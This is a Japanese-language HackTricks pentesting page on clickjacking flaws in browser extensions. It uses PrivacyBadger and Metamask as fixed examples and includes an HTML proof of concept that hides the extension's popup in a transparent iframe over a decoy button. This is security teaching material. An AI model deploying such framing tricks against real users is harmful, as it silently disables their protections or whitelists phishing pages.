hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

7.4 KiB
Raw Blame History

BrowExt - ClickJacking

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!

HackTricksをサポートする他の方法:

基本情報

このページでは、ブラウザ拡張機能のClickJackingの脆弱性を悪用します。
ClickJackingが何かわからない場合は、以下を確認してください:

{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}

拡張機能には**manifest.json**ファイルが含まれており、そのJSONファイルにはweb_accessible_resourcesというフィールドがあります。Chromeのドキュメントには次のように記載されています:

これらのリソースは、**chrome-extension://[PACKAGE ID]/[PATH]のURLを介してウェブページで利用可能になります。このURLはextension.getURL method**で生成できます。ホワイトリストに登録されたリソースは適切なCORSヘッダーで提供されるため、XHRなどのメカニズムを介して利用できます。1

**web_accessible_resources**にあるリソースはウェブアクセス可能であるだけでなく、拡張機能の周辺権限で動作します:状態を変更したり、他のリソースを読み込んだり、特定の方法でブラウザを変更することができます。web_accessible_resources内のドキュメントが何らかの興味深い動作を行うことができる場合、攻撃者はそれをウェブページに埋め込み、訪問者をだましてそれをトリガーさせることができます。

PrivacyBadgerの例

拡張機能PrivacyBadgerにおいて、skin/ディレクトリの内容がweb_accessible_resourcesであることが発見されました:

"web_accessible_resources": [
"skin/*",
"icons/*"
]
したがって、`skin/popup.html`をロードすることにより、ブラウザのPrivacyBadgerアイコンをクリックしたときにレンダリングされるドキュメントをiframe内で表示することで、ユーザーをだまして「このウェブサイトのPrivacyBadgerを無効にする」をクリックさせることができます。これにより、ユーザーは追加のトラッキングを受けることになり、PrivacyBadgerの機能が損なわれます。**ClickJackingのビデオ例をチェックしてください** [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)

修正は簡単でした:**`web_accessible_resources`から`/skin/*`を削除します**。

### PoC
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}

</style>

<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamaskの例

MetamaskでのClickJackingに関するブログ投稿はこちらで見つけることができます。このケースでは、Metamaskは**https:** または http: プロトコル(例えば chrome: ではない)を使用してアクセスされたことを確認することで脆弱性を修正しました:

もう一つのClickJackingが修正された Metamask拡張機能では、“web_accessible_resources”: [“inpage.js”, “phishing.html”]のためにフィッシングと疑われるページに対してユーザーがクリックしてホワイトリストに追加することができました。そのページがClickjackingに対して脆弱であったため、攻撃者は正常なものを表示して被害者に気づかれずにホワイトリストに追加するためのクリックをさせ、その後フィッシングページに戻ると、それがホワイトリストに追加されている状態になります。

Steam Inventory Helperの例

以下のページをチェックして、ブラウザ拡張機能のXSSClickJackingの脆弱性とどのように連鎖したかを確認してください:

{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}

参考文献

AWSのハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェック!

HackTricksをサポートする他の方法